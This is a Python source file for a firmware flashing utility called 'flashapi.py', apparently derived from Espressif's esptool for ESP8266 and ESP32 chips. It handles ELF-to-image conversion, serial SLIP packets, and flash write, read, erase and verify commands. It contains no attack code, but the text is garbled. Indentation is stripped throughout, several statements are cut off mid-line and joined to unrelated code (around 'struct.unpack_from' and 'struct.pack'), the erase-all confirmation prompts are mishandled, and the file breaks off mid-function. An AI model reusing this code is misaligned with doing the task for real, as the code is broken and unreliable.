raise FatalError(("Segment loaded at 0x%08x lands in same 64KB flash mapping as segment loaded at 0x%08x. " +
"Can't generate binary. Suggest changing linker script or ELF to merge sections.") %
(segment.addr, last_addr))
last_addr = segment.addr
def get_alignment_data_needed(segment):
#
align_past = (segment.addr % self.IROM_ALIGN) - self.SEG_HEADER_LEN
pad_len = (self.IROM_ALIGN - (f.tell() % self.IROM_ALIGN)) + align_past
if pad_len == 0 or pad_len == self.IROM_ALIGN:
return 0
pad_len -= self.SEG_HEADER_LEN
if pad_len < 0:
pad_len += self.IROM_ALIGN
return pad_len
while len(flash_segments) > 0:
segment = flash_segments[0]
pad_len = get_alignment_data_needed(segment)
if pad_len > 0:
if len(ram_segments) > 0 and pad_len > self.SEG_HEADER_LEN:
pad_segment = ram_segments[0].split_image(pad_len)
if len(ram_segments[0].data) == 0:
ram_segments.pop(0)
else:
pad_segment = ImageSegment(0, b'\x00' * pad_len, f.tell())
checksum = self.save_segment(f, pad_segment, checksum)
total_segments += 1
else:
assert (f.tell() + 8) % self.IROM_ALIGN == segment.addr % self.IROM_ALIGN
checksum = self.save_flash_segment(f, segment, checksum)
flash_segments.pop(0)
total_segments += 1
for segment in ram_segments:
checksum = self.save_segment(f, segment, checksum)
total_segments += 1
if self.secure_pad:
if not self.append_digest:
raise FatalError("secure_pad only applies if a SHA-256 digest is also appended to the image")
align_past = (f.tell() + self.SEG_HEADER_LEN) % self.IROM_ALIGN
checksum_space = 16
space_after_checksum = 32 + 4 + 64 + 12
pad_len = (self.IROM_ALIGN - align_past - checksum_space - space_after_checksum) % self.IROM_ALIGN
pad_segment = ImageSegment(0, b'\x00' * pad_len, f.tell())
checksum = self.save_segment(f, pad_segment, checksum)
total_segments += 1
self.append_checksum(f, checksum)
image_length = f.tell()
if self.secure_pad:
assert ((image_length + space_after_checksum) % self.IROM_ALIGN) == 0
f.seek(1)
try:
f.write(chr(total_segments))
except TypeError:
f.write(bytes([total_segments]))
if self.append_digest:
f.seek(0)
digest = hashlib.sha256()
digest.update(f.read(image_length))
f.write(digest.digest())
with open(filename, 'wb') as real_file:
real_file.write(f.getvalue())
def save_flash_segment(self, f, segment, checksum=None):
segment_end_pos = f.tell() + len(segment.data) + self.SEG_HEADER_LEN
segment_len_remainder = segment_end_pos % self.IROM_ALIGN
if segment_len_remainder < 0x24:
segment.data += b'\x00' * (0x24 - segment_len_remainder)
return self.save_segment(f, segment, checksum)
def load_extended_header(self, load_file):
def split_byte(n):
return (n & 0x0F, (n >> 4) & 0x0F)
fields = list(struct.unpack(self.EXTENDED_HEADER_STRUCT_FMT, load_file.read(16)))
self.wp_pin = fields[0]
self.clk_drv, self.q_drv = split_byte(fields[1])
self.d_drv, self.cs_drv = split_byte(fields[2])
self.hd_drv, self.wp_drv = split_byte(fields[3])
if fields[15] in [0, 1]:
self.append_digest = (fields[15] == 1)
else:
raise RuntimeError("Invalid value for append_digest field (0x%02x). Should be 0 or 1.", fields[15])
if any(f for f in fields[4:15] if f != 0):
print("Warning: some reserved header fields have non-zero values. This image may be from a newer flashapi.py?")
def save_extended_header(self, save_file):
def join_byte(ln, hn):
return (ln & 0x0F) + ((hn & 0x0F) << 4)
append_digest = 1 if self.append_digest else 0
fields = [self.wp_pin,
join_byte(self.clk_drv, self.q_drv),
join_byte(self.d_drv, self.cs_drv),
join_byte(self.hd_drv, self.wp_drv)]
fields += [0] * 11
fields += [append_digest]
packed = struct.pack(self.EXTENDED_HEADER_STRUCT_FMT, *fields)
save_file.write(packed)
class ELFFile(object):
SEC_TYPE_PROGBITS = 0x01
SEC_TYPE_STRTAB = 0x03
LEN_SEC_HEADER = 0x28
def __init__(self, name):
self.name = name
with open(self.name, 'rb') as f:
self._read_elf_file(f)
def get_section(self, section_name):
for s in self.sections:
if s.name == section_name:
return s
raise ValueError("No section %s in ELF file" % section_name)
def _read_elf_file(self, f):
LEN_FILE_HEADER = 0x34
try:
(ident, _type, machine, _version,
self.entrypoint, _phoff, shoff, _flags,
_ehsize, _phentsize, _phnum, shentsize,
shnum, shstrndx) = struct.unpack("<16sHHLLLLLHHHHHH", f.read(LEN_FILE_HEADER))
except struct.error as e:
raise FatalError("Failed to read a valid ELF header from %s: %s" % (self.name, e))
if byte(ident, 0) != 0x7f or ident[1:4] != b'ELF':
raise FatalError("%s has invalid ELF magic header" % self.name)
if machine != 0x5e:
raise FatalError("%s does not appear to be an Xtensa ELF file. e_machine=%04x" % (self.name, machine))
if shentsize != self.LEN_SEC_HEADER:
raise FatalError("%s has unexpected section header entry size 0x%x (not 0x28)" % (self.name, shentsize, self.LEN_SEC_HEADER))
if shnum == 0:
raise FatalError("%s has 0 section headers" % (self.name))
self._read_sections(f, shoff, shnum, shstrndx)
def _read_sections(self, f, section_header_offs, section_header_count, shstrndx):
f.seek(section_header_offs)
len_bytes = section_header_count * self.LEN_SEC_HEADER
section_header = f.read(len_bytes)
if len(section_header) == 0:
raise FatalError("No section header found at offset %04x in ELF file." % section_header_offs)
if len(section_header) != (len_bytes):
raise FatalError("Only read 0x%x bytes from section header (expected 0x%x.) Truncated ELF file?" % (len(section_header), len_bytes))
section_header_offsets = range(0, len(section_header), self.LEN_SEC_HEADER)
def read_section_header(offs):
name_offs, sec_type, _flags, lma, sec_offs, size = struct.unpack_from(" 0]
self.sections = prog_sections
def sha256(self):
sha256 = hashlib.sha256()
with open(self.name, 'rb') as f:
sha256.update(f.read())
return sha256.digest()
def slip_reader(port, trace_function):
partial_packet = None
in_escape = False
while True:
waiting = port.inWaiting()
read_bytes = port.read(1 if waiting == 0 else waiting)
if read_bytes == b'':
waiting_for = "header" if partial_packet is None else "content"
trace_function("Timed out waiting for packet %s", waiting_for)
raise FatalError("Timed out waiting for packet %s" % waiting_for)
trace_function("Read %d bytes: %s", len(read_bytes), HexFormatter(read_bytes))
for b in read_bytes:
if type(b) is int:
b = bytes([b])
if partial_packet is None:
if b == b'\xc0':
partial_packet = b""
else:
trace_function("Read invalid data: %s", HexFormatter(read_bytes))
trace_function("Remaining data in serial buffer: %s", HexFormatter(port.read(port.inWaiting())))
raise FatalError('Invalid head of packet (0x%s)' % hexify(b))
elif in_escape:
in_escape = False
if b == b'\xdc':
partial_packet += b'\xc0'
elif b == b'\xdd':
partial_packet += b'\xdb'
else:
trace_function("Read invalid data: %s", HexFormatter(read_bytes))
trace_function("Remaining data in serial buffer: %s", HexFormatter(port.read(port.inWaiting())))
raise FatalError('Invalid SLIP escape (0xdb, 0x%s)' % (hexify(b)))
elif b == b'\xdb':
in_escape = True
elif b == b'\xc0':
trace_function("Received full packet: %s", HexFormatter(partial_packet))
yield partial_packet
partial_packet = None
else:
partial_packet += b
def arg_auto_int(x):
return int(x, 0)
def div_roundup(a, b):
return (int(a) + int(b) - 1) // int(b)
def align_file_position(f, size):
align = (size - 1) - (f.tell() % size)
f.seek(align, 1)
def flash_size_bytes(size):
if "MB" in size:
return int(size[:size.index("MB")]) * 1024 * 1024
elif "KB" in size:
return int(size[:size.index("KB")]) * 1024
else:
raise FatalError("Unknown size %s" % size)
def hexify(s, uppercase=True):
format_str = '%02X' if uppercase else '%02x'
if not PYTHON2:
return ''.join(format_str % c for c in s)
else:
return ''.join(format_str % ord(c) for c in s)
class HexFormatter(object):
def __init__(self, binary_string, auto_split=True):
self._s = binary_string
self._auto_split = auto_split
def __str__(self):
if self._auto_split and len(self._s) > 16:
result = ""
s = self._s
while len(s) > 0:
line = s[:16]
ascii_line = "".join(c if (c == ' ' or (c in string.printable and c not in string.whitespace))
else '.' for c in line.decode('ascii', 'replace'))
s = s[16:]
result += "\n %-16s %-16s | %s" % (hexify(line[:8], False), hexify(line[8:], False), ascii_line)
return result
else:
return hexify(self._s, False)
def pad_to(data, alignment, pad_character=b'\xFF'):
pad_mod = len(data) % alignment
if pad_mod != 0:
data += pad_character * (alignment - pad_mod)
return data
class FatalError(RuntimeError):
def __init__(self, message):
RuntimeError.__init__(self, message)
@staticmethod
def WithResult(message, result):
message += " (result was %s)" % hexify(result)
return FatalError(message)
class NotImplementedInROMError(FatalError):
def __init__(self, bootloader, func):
FatalError.__init__(self, "%s ROM does not support function %s." % (bootloader.CHIP_NAME, func.__name__))
class NotSupportedError(FatalError):
def __init__(self, esp, function_name):
FatalError.__init__(self, "Function %s is not supported for %s." % (function_name, esp.CHIP_NAME))
#
def load_ram(esp, args):
image = LoadFirmwareImage(esp.CHIP_NAME, args.filename)
print('RAM boot...')
for seg in image.segments:
size = len(seg.data)
print('Downloading %d bytes at %08x...' % (size, seg.addr), end=' ')
sys.stdout.flush()
esp.mem_begin(size, div_roundup(size, esp.ESP_RAM_BLOCK), esp.ESP_RAM_BLOCK, seg.addr)
seq = 0
while len(seg.data) > 0:
esp.mem_block(seg.data[0:esp.ESP_RAM_BLOCK], seq)
seg.data = seg.data[esp.ESP_RAM_BLOCK:]
seq += 1
print('done!')
print('All segments done, executing at %08x' % image.entrypoint)
esp.mem_finish(image.entrypoint)
def read_mem(esp, args):
print('0x%08x = 0x%08x' % (args.address, esp.read_reg(args.address)))
def write_mem(esp, args):
esp.write_reg(args.address, args.value, args.mask, 0)
print('Wrote %08x, mask %08x to %08x' % (args.value, args.mask, args.address))
def dump_mem(esp, args):
with open(args.filename, 'wb') as f:
for i in range(args.size // 4):
d = esp.read_reg(args.address + (i * 4))
f.write(struct.pack(b'> 16
args.flash_size = DETECTED_FLASH_SIZES.get(size_id)
if args.flash_size is None:
print('Warning: Could not auto-detect Flash size (FlashID=0x%x, SizeID=0x%x), defaulting to 4MB' % (flash_id, size_id))
args.flash_size = '4MB'
else:
print('Auto-detected Flash size:', args.flash_size)
def _update_image_flash_params(esp, address, args, image):
if len(image) < 8:
return image
magic, _, flash_mode, flash_size_freq = struct.unpack("BBBB", image[:4])
if address != esp.BOOTLOADER_FLASH_OFFSET or magic != esp.ESP_IMAGE_MAGIC:
return image
if args.flash_mode != 'keep':
flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode]
flash_freq = flash_size_freq & 0x0F
if args.flash_freq != 'keep':
flash_freq = {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq]
flash_size = flash_size_freq & 0xF0
if args.flash_size != 'keep':
flash_size = esp.parse_flash_size_arg(args.flash_size)
flash_params = struct.pack(b'BB', flash_mode, flash_size + flash_freq)
if flash_params != image[2:4]:
print('Flash params set to 0x%04x' % struct.unpack(">H", flash_params))
image = image[0:2] + flash_params + image[4:]
return image
def write_flash(esp, args):
if args.compress is None and not args.no_compress:
args.compress = not args.no_stub
if args.encrypt:
do_write = True
crypt_cfg_efuse = esp.get_flash_crypt_config()
if crypt_cfg_efuse != 0xF:
print('\nWARNING: Unexpected FLASH_CRYPT_CONFIG value', hex(crypt_cfg_efuse))
print('\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation')
do_write = False
enc_key_valid = esp.is_flash_encryption_key_valid()
if not enc_key_valid:
print('\nFlash encryption key is not programmed')
print('\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation')
do_write = False
if (esp.FLASH_WRITE_SIZE % 32) != 0:
print('\nWARNING - Flash write address is not aligned to the recommeded 32 bytes')
do_write = False
if not do_write and not args.ignore_flash_encryption_efuse_setting:
raise FatalError("Incorrect efuse setting: aborting flash write")
if args.flash_size != 'keep':
flash_end = flash_size_bytes(args.flash_size)
for address, argfile in args.addr_filename:
argfile.seek(0, 2)
if address + argfile.tell() > flash_end:
raise FatalError(("File %s (length %d) at offset %d will not fit in %d bytes of flash. " +
"Use --flash-size argument, or change flashing address.")
% (argfile.name, argfile.tell(), address, flash_end))
argfile.seek(0)
if args.erase_all:
warn_stage1 = input("WARNING THIS WILL BRICK YOUR CABLE. ARE YOU SURE YOU WANT TO DO THIS?")
warn_stage2 = input("ARE YOU REALLY SURE YOU WANT TO BRICK YOUR CABLE?")
print(warn_stage1)
if warn_stage1 == 'y':
print(warn_stage2)
if warn_stage2 == 'y':
erase_flash(esp, args)
else:
print("Erase did not run because you did not press: y")
if args.encrypt and args.compress:
print('\nWARNING: - compress and encrypt options are mutually exclusive ')
print('Will flash uncompressed')
args.compress = False
for address, argfile in args.addr_filename:
if args.no_stub:
print('Erasing flash...')
image = pad_to(argfile.read(), 32 if args.encrypt else 4)
if len(image) == 0:
print('WARNING: File %s is empty' % argfile.name)
continue
image = _update_image_flash_params(esp, address, args, image)
calcmd5 = hashlib.md5(image).hexdigest()
uncsize = len(image)
if args.compress:
uncimage = image
image = zlib.compress(uncimage, 9)
ratio = uncsize / len(image)
blocks = esp.flash_defl_begin(uncsize, len(image), address)
else:
ratio = 1.0
blocks = esp.flash_begin(uncsize, address)
argfile.seek(0)
seq = 0
written = 0
t = time.time()
while len(image) > 0:
print('\rWriting at 0x%08x... (%d %%)' % (address + seq * esp.FLASH_WRITE_SIZE, 100 * (seq + 1) // blocks), end='')
sys.stdout.flush()
block = image[0:esp.FLASH_WRITE_SIZE]
if args.compress:
esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio * 2)
else:
block = block + b'\xff' * (esp.FLASH_WRITE_SIZE - len(block))
if args.encrypt:
esp.flash_encrypt_block(block, seq)
else:
esp.flash_block(block, seq)
image = image[esp.FLASH_WRITE_SIZE:]
seq += 1
written += len(block)
t = time.time() - t
speed_msg = ""
if args.compress:
if t > 0.0:
speed_msg = " (effective %.1f kbit/s)" % (uncsize / t * 8 / 1000)
print('\rWrote %d bytes (%d compressed) at 0x%08x in %.1f seconds%s...' % (uncsize, written, address, t, speed_msg))
else:
if t > 0.0:
speed_msg = " (%.1f kbit/s)" % (written / t * 8 / 1000)
print('\rWrote %d bytes at 0x%08x in %.1f seconds%s...' % (written, address, t, speed_msg))
if not args.encrypt:
try:
res = esp.flash_md5sum(address, uncsize)
if res != calcmd5:
print('File md5: %s' % calcmd5)
print('Flash md5: %s' % res)
print('MD5 of 0xFF is %s' % (hashlib.md5(b'\xFF' * uncsize).hexdigest()))
raise FatalError("MD5 of file does not match data in flash!")
else:
print('Hash of data verified.')
except NotImplementedInROMError:
pass
print('\nLeaving...')
if esp.IS_STUB:
esp.flash_begin(0, 0)
if args.compress:
esp.flash_defl_finish(False)
else:
esp.flash_finish(False)
if args.verify:
print('Verifying just-written flash...')
print('(This option is deprecated, flash contents are now always read back after flashing.)')
verify_flash(esp, args)
def image_info(args):
image = LoadFirmwareImage(args.chip, args.filename)
print('Image version: %d' % image.version)
print('Entry point: %08x' % image.entrypoint if image.entrypoint != 0 else 'Entry point not set')
print('%d segments' % len(image.segments))
print
idx = 0
for seg in image.segments:
idx += 1
print('Segment %d: %r' % (idx, seg))
calc_checksum = image.calculate_checksum()
print('Checksum: %02x (%s)' % (image.checksum,
'valid' if image.checksum == calc_checksum else 'invalid - calculated %02x' % calc_checksum))
try:
digest_msg = 'Not appended'
if image.append_digest:
is_valid = image.stored_digest == image.calc_digest
digest_msg = "%s (%s)" % (hexify(image.calc_digest).lower(),
"valid" if is_valid else "invalid")
print('Validation Hash: %s' % digest_msg)
except AttributeError:
pass
def make_image(args):
image = ESP8266ROMFirmwareImage()
if len(args.segfile) == 0:
raise FatalError('No segments specified')
if len(args.segfile) != len(args.segaddr):
raise FatalError('Number of specified files does not match number of specified addresses')
for (seg, addr) in zip(args.segfile, args.segaddr):
with open(seg, 'rb') as f:
data = f.read()
image.segments.append(ImageSegment(addr, data))
image.entrypoint = args.entrypoint
image.save(args.output)
def elf2image(args):
e = ELFFile(args.input)
if args.chip == 'auto':
print("Creating image for ESP8266...")
args.chip = 'esp8266'
if args.chip == 'esp32':
image = ESP32FirmwareImage()
image.secure_pad = args.secure_pad
elif args.version == '1':
image = ESP8266ROMFirmwareImage()
else:
image = ESP8266V2FirmwareImage()
image.entrypoint = e.entrypoint
image.segments = e.sections
image.flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode]
image.flash_size_freq = image.ROM_LOADER.FLASH_SIZES[args.flash_size]
image.flash_size_freq += {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq]
if args.elf_sha256_offset:
image.elf_sha256 = e.sha256()
image.elf_sha256_offset = args.elf_sha256_offset
image.verify()
if args.output is None:
args.output = image.default_output_name(args.input)
image.save(args.output)
def read_mac(esp, args):
mac = esp.read_mac()
def print_mac(label, mac):
print('%s: %s' % (label, ':'.join(map(lambda x: '%02x' % x, mac))))
print_mac("MAC", mac)
def chip_id(esp, args):
try:
chipid = esp.chip_id()
print('Chip ID: 0x%08x' % chipid)
except NotSupportedError:
print('Warning: %s has no Chip ID. Reading MAC instead.' % esp.CHIP_NAME)
read_mac(esp, args)
def erase_flash(esp, args):
print('Erasing flash (this may take a while)...')
t = time.time()
esp.erase_flash()
print('Chip erase completed successfully in %.1fs' % (time.time() - t))
def erase_region(esp, args):
print('Erasing region (may be slow depending on size)...')
t = time.time()
esp.erase_region(args.address, args.size)
print('Erase completed successfully in %.1f seconds.' % (time.time() - t))
def run(esp, args):
esp.run()
def flash_id(esp, args):
flash_id = esp.flash_id()
print('Manufacturer: %02x' % (flash_id & 0xff))
flid_lowbyte = (flash_id >> 16) & 0xFF
print('Device: %02x%02x' % ((flash_id >> 8) & 0xff, flid_lowbyte))
print('Detected flash size: %s' % (DETECTED_FLASH_SIZES.get(flid_lowbyte, "Unknown")))
def read_flash(esp, args):
if args.no_progress:
flash_progress = None
else:
def flash_progress(progress, length):
msg = '%d (%d %%)' % (progress, progress * 100.0 / length)
padding = '\b' * len(msg)
if progress == length:
padding = '\n'
sys.stdout.write(msg + padding)
sys.stdout.flush()
t = time.time()
data = esp.read_flash(args.address, args.size, flash_progress)
t = time.time() - t
print('\rRead %d bytes at 0x%x in %.1f seconds (%.1f kbit/s)...'
% (len(data), args.address, t, len(data) / t * 8 / 1000))
with open(args.filename, 'wb') as f:
f.write(data)
def verify_flash(esp, args):
differences = False
for address, argfile in args.addr_filename:
image = pad_to(argfile.read(), 4)
argfile.seek(0)
image = _update_image_flash_params(esp, address, args, image)
image_size = len(image)
print('Verifying 0x%x (%d) bytes @ 0x%08x in flash against %s...' % (image_size, image_size, address, argfile.name))
digest = esp.flash_md5sum(address, image_size)
expected_digest = hashlib.md5(image).hexdigest()
if digest == expected_digest:
print('-- verify OK (digest matched)')
continue
else:
differences = True
if getattr(args, 'diff', 'no') != 'yes':
print('-- verify FAILED (digest mismatch)')
continue
flash = esp.read_flash(address, image_size)
assert flash != image
diff = [i for i in range(image_size) if flash[i] != image[i]]
print('-- verify FAILED: %d differences, first @ 0x%08x' % (len(diff), address + diff[0]))
for d in diff:
flash_byte = flash[d]
image_byte = image[d]
if PYTHON2:
flash_byte = ord(flash_byte)
image_byte = ord(image_byte)
print(' %08x %02x %02x' % (address + d, flash_byte, image_byte))
if differences:
raise FatalError("Verify failed.")
def read_flash_status(esp, args):
print('Status value: 0x%04x' % esp.read_status(args.bytes))
def write_flash_status(esp, args):
fmt = "0x%%0%dx" % (args.bytes * 2)
args.value = args.value & ((1 << (args.bytes * 8)) - 1)
print(('Initial flash status: ' + fmt) % esp.read_status(args.bytes))
print(('Setting flash status: ' + fmt) % args.value)
esp.write_status(args.value, args.bytes, args.non_volatile)
print(('After flash status: ' + fmt) % esp.read_status(args.bytes))
def version(args):
print(__version__)
#
#
def main(custom_commandline=None):
parser = argparse.ArgumentParser(description='flashapi.py v%s - ESP8266 ROM Bootloader Utility' % __version__, prog='flashapi')
parser.add_argument('--chip', '-c',
help='Target chip type',
choices=['auto', 'esp8266', 'esp32'],
default=os.environ.get('flashapi_CHIP', 'auto'))
parser.add_argument(
'--port', '-p',
help='Serial port device',
default=os.environ.get('flashapi_PORT', None))
parser.add_argument(
'--baud', '-b',
help='Serial port baud rate used when flashing/reading',
type=arg_auto_int,
default=os.environ.get('flashapi_BAUD', ESPLoader.ESP_ROM_BAUD))
parser.add_argument(
'--before',
help='What to do before connecting to the chip',
choices=['default_reset', 'no_reset', 'no_reset_no_sync'],
default=os.environ.get('flashapi_BEFORE', 'default_reset'))
parser.add_argument(
'--after', '-a',
help='What to do after flashapi.py is finished',
choices=['hard_reset', 'soft_reset', 'no_reset'],
default=os.environ.get('flashapi_AFTER', 'hard_reset'))
parser.add_argument(
'--no-stub',
help="Disable launching the flasher stub, only talk to ROM bootloader. Some features will not be available.",
action='store_true')
parser.add_argument(
'--trace', '-t',
help="Enable trace-level output of flashapi.py interactions.",
action='store_true')
parser.add_argument(
'--override-vddsdio',
help="Override ESP32 VDDSDIO internal voltage regulator (use with care)",
choices=ESP32ROM.OVERRIDE_VDDSDIO_CHOICES,
nargs='?')
subparsers = parser.add_subparsers(
dest='operation',
help='Run flashapi {command} -h for additional help')
def add_spi_connection_arg(parent):
parent.add_argument('--spi-connection', '-sc', help='ESP32-only argument. Override default SPI Flash connection. ' +
'Value can be SPI, HSPI or a comma-separated list of 5 I/O numbers to use for SPI flash (CLK,Q,D,HD,CS).',
action=SpiConnectionAction)
parser_load_ram = subparsers.add_parser(
'load_ram',
help='Download an image to RAM and execute')
parser_load_ram.add_argument('filename', help='Firmware image')
parser_dump_mem = subparsers.add_parser(
'dump_mem',
help='Dump arbitrary memory to disk')
parser_dump_mem.add_argument('address', help='Base address', type=arg_auto_int)
parser_dump_mem.add_argument('size', help='Size of region to dump', type=arg_auto_int)
parser_dump_mem.add_argument('filename', help='Name of binary dump')
parser_read_mem = subparsers.add_parser(
'read_mem',
help='Read arbitrary memory location')
parser_read_mem.add_argument('address', help='Address to read', type=arg_auto_int)
parser_write_mem = subparsers.add_parser(
'write_mem',
help='Read-modify-write to arbitrary memory location')
parser_write_mem.add_argument('address', help='Address to write', type=arg_auto_int)
parser_write_mem.add_argument('value', help='Value', type=arg_auto_int)
parser_write_mem.add_argument('mask', help='Mask of bits to write', type=arg_auto_int)
def add_spi_flash_subparsers(parent, is_elf2image):
extra_keep_args = [] if is_elf2image else ['keep']
auto_detect = not is_elf2image
if auto_detect:
extra_fs_message = ", detect, or keep"
else:
extra_fs_message = ""
parent.add_argument('--flash_freq', '-ff', help='SPI Flash frequency',
choices=extra_keep_args + ['40m', '26m', '20m', '80m'],
default=os.environ.get('flashapi_FF', '40m' if is_elf2image else 'keep'))
parent.add_argument('--flash_mode', '-fm', help='SPI Flash mode',
choices=extra_keep_args + ['qio', 'qout', 'dio', 'dout'],
default=os.environ.get('flashapi_FM', 'qio' if is_elf2image else 'keep'))
parent.add_argument('--flash_size', '-fs', help='SPI Flash size in MegaBytes (1MB, 2MB, 4MB, 8MB, 16M)'
' plus ESP8266-only (256KB, 512KB, 2MB-c1, 4MB-c1)' + extra_fs_message,
action=FlashSizeAction, auto_detect=auto_detect,
default=os.environ.get('flashapi_FS', 'detect' if auto_detect else '1MB'))
add_spi_connection_arg(parent)
parser_write_flash = subparsers.add_parser(
'write_flash',
help='Write a binary blob to flash')
parser_write_flash.add_argument('addr_filename', metavar=' ', help='Address followed by binary filename, separated by space',
action=AddrFilenamePairAction)
parser_write_flash.add_argument('--erase-all', '-e',
help='Erase all regions of flash (not just write areas) before programming',
action="store_true")
add_spi_flash_subparsers(parser_write_flash, is_elf2image=False)
parser_write_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action="store_true")
parser_write_flash.add_argument('--verify', help='Verify just-written data on flash ' +
'(mostly superfluous, data is read back during flashing)', action='store_true')
parser_write_flash.add_argument('--encrypt', help='Encrypt before write ',
action='store_true')
parser_write_flash.add_argument('--ignore-flash-encryption-efuse-setting', help='Ignore flash encryption efuse settings ',
action='store_true')
compress_args = parser_write_flash.add_mutually_exclusive_group(required=False)
compress_args.add_argument('--compress', '-z', help='Compress data in transfer (default unless --no-stub is specified)', action="store_true", default=None)
compress_args.add_argument('--no-compress', '-u', help='Disable data compression during transfer (default if --no-stub is specified)', action="store_true")
subparsers.add_parser(
'run',
help='Run application code in flash')
parser_image_info = subparsers.add_parser(
'image_info',
help='Dump headers from an application image')
parser_image_info.add_argument('filename', help='Image file to parse')
parser_make_image = subparsers.add_parser(
'make_image',
help='Create an application image from binary files')
parser_make_image.add_argument('output', help='Output image file')
parser_make_image.add_argument('--segfile', '-f', action='append', help='Segment input file')
parser_make_image.add_argument('--segaddr', '-a', action='append', help='Segment base address', type=arg_auto_int)
parser_make_image.add_argument('--entrypoint', '-e', help='Address of entry point', type=arg_auto_int, default=0)
parser_elf2image = subparsers.add_parser(
'elf2image',
help='Create an application image from ELF file')
parser_elf2image.add_argument('input', help='Input ELF file')
parser_elf2image.add_argument('--output', '-o', help='Output filename prefix (for version 1 image), or filename (for version 2 single image)', type=str)
parser_elf2image.add_argument('--version', '-e', help='Output image version', choices=['1', '2'], default='1')
parser_elf2image.add_argument('--secure-pad', action='store_true', help='Pad image so once signed it will end on a 64KB boundary. For ESP32 images only.')
parser_elf2image.add_argument('--elf-sha256-offset', help='If set, insert SHA256 hash (32 bytes) of the input ELF file at specified offset in the binary.',
type=arg_auto_int, default=None)
add_spi_flash_subparsers(parser_elf2image, is_elf2image=True)
subparsers.add_parser(
'read_mac',
help='Read MAC address from OTP ROM')
subparsers.add_parser(
'chip_id',
help='Read Chip ID from OTP ROM')
parser_flash_id = subparsers.add_parser(
'flash_id',
help='Read SPI flash manufacturer and device ID')
add_spi_connection_arg(parser_flash_id)
parser_read_status = subparsers.add_parser(
'read_flash_status',
help='Read SPI flash status register')
add_spi_connection_arg(parser_read_status)
parser_read_status.add_argument('--bytes', help='Number of bytes to read (1-3)', type=int, choices=[1, 2, 3], default=2)
parser_write_status = subparsers.add_parser(
'write_flash_status',
help='Write SPI flash status register')
add_spi_connection_arg(parser_write_status)
parser_write_status.add_argument('--non-volatile', help='Write non-volatile bits (use with caution)', action='store_true')
parser_write_status.add_argument('--bytes', help='Number of status bytes to write (1-3)', type=int, choices=[1, 2, 3], default=2)
parser_write_status.add_argument('value', help='New value', type=arg_auto_int)
parser_read_flash = subparsers.add_parser(
'read_flash',
help='Read SPI flash content')
add_spi_connection_arg(parser_read_flash)
parser_read_flash.add_argument('address', help='Start address', type=arg_auto_int)
parser_read_flash.add_argument('size', help='Size of region to dump', type=arg_auto_int)
parser_read_flash.add_argument('filename', help='Name of binary dump')
parser_read_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action="store_true")
parser_verify_flash = subparsers.add_parser(
'verify_flash',
help='Verify a binary blob against flash')
parser_verify_flash.add_argument('addr_filename', help='Address and binary file to verify there, separated by space',
action=AddrFilenamePairAction)
parser_verify_flash.add_argument('--diff', '-d', help='Show differences',
choices=['no', 'yes'], default='no')
add_spi_flash_subparsers(parser_verify_flash, is_elf2image=False)
parser_erase_flash = subparsers.add_parser(
'erase_flash',
help='Perform Chip Erase on SPI flash')
add_spi_connection_arg(parser_erase_flash)
parser_erase_region = subparsers.add_parser(
'erase_region',
help='Erase a region of the flash')
add_spi_connection_arg(parser_erase_region)
parser_erase_region.add_argument('address', help='Start address (must be multiple of 4096)', type=arg_auto_int)
parser_erase_region.add_argument('size', help='Size of region to erase (must be multiple of 4096)', type=arg_auto_int)
subparsers.add_parser(
'version', help='Print flashapi version')
for operation in subparsers.choices.keys():
assert operation in globals(), "%s should be a module function" % operation
expand_file_arguments()
args = parser.parse_args(custom_commandline)
if args.operation is None:
# parser.print_help()
print("This library is not intended to be run.")
sys.exit(1)
operation_func = globals()[args.operation]
if PYTHON2:
operation_args = inspect.getargspec(operation_func).args
else:
operation_args = inspect.getfullargspec(operation_func).args
if operation_args[0] == 'esp':
if args.before != "no_reset_no_sync":
initial_baud = min(ESPLoader.ESP_ROM_BAUD, args.baud)
else:
initial_baud = args.baud
if args.port is None:
ser_list = sorted(ports.device for ports in list_ports.comports())
print("Found %d serial ports" % len(ser_list))
else:
ser_list = [args.port]
esp = None
for each_port in reversed(ser_list):
print("Serial port %s" % each_port)
try:
if args.chip == 'auto':
esp = ESPLoader.detect_chip(each_port, initial_baud, args.before, args.trace)
else:
chip_class = {
'esp8266': ESP8266ROM,
'esp32': ESP32ROM,
}[args.chip]
esp = chip_class(each_port, initial_baud, args.trace)
esp.connect(args.before)
break
except (FatalError, OSError) as err:
if args.port is not None:
raise
print("%s failed to connect: %s" % (each_port, err))
esp = None
if esp is None:
raise FatalError("Could not connect to an Espressif device on any of the %d available serial ports." % len(ser_list))
read_mac(esp, args)
if not args.no_stub:
esp = esp.run_stub()
if args.override_vddsdio:
esp.override_vddsdio(args.override_vddsdio)
if args.baud > initial_baud:
try:
esp.change_baud(args.baud)
except NotImplementedInROMError:
print("WARNING: ROM doesn't support changing baud rate. Keeping initial baud rate %d" % initial_baud)
if hasattr(args, "spi_connection") and args.spi_connection is not None:
if esp.CHIP_NAME != "ESP32":
raise FatalError("Chip %s does not support --spi-connection option." % esp.CHIP_NAME)
print("Configuring SPI flash mode...")
esp.flash_spi_attach(args.spi_connection)
elif args.no_stub:
print("Enabling default SPI flash mode...")
esp.flash_spi_attach(0)
if hasattr(args, "flash_size"):
print("Configuring flash size...")
detect_flash_size(esp, args)
if args.flash_size != 'keep':
esp.flash_set_parameters(flash_size_bytes(args.flash_size))
try:
operation_func(esp, args)
finally:
try:
for address, argfile in args.addr_filename:
argfile.close()
except AttributeError:
pass
if operation_func == load_ram:
print('Exiting immediately.')
elif args.after == 'hard_reset':
print('Flash Operation Complete!')
esp.hard_reset()
elif args.after == 'soft_reset':
print('Soft resetting...')
esp.soft_reset(False)
else:
print('Staying in bootloader.')
if esp.IS_STUB:
esp.soft_reset(True)
esp._port.close()
else:
operation_func(args)
def expand_file_arguments():
new_args = []
expanded = False
for arg in sys.argv:
if arg.startswith("@"):
expanded = True
with open(arg[1:], "r") as f:
for line in f.readlines():
new_args += shlex.split(line)
else:
new_args.append(arg)
if expanded:
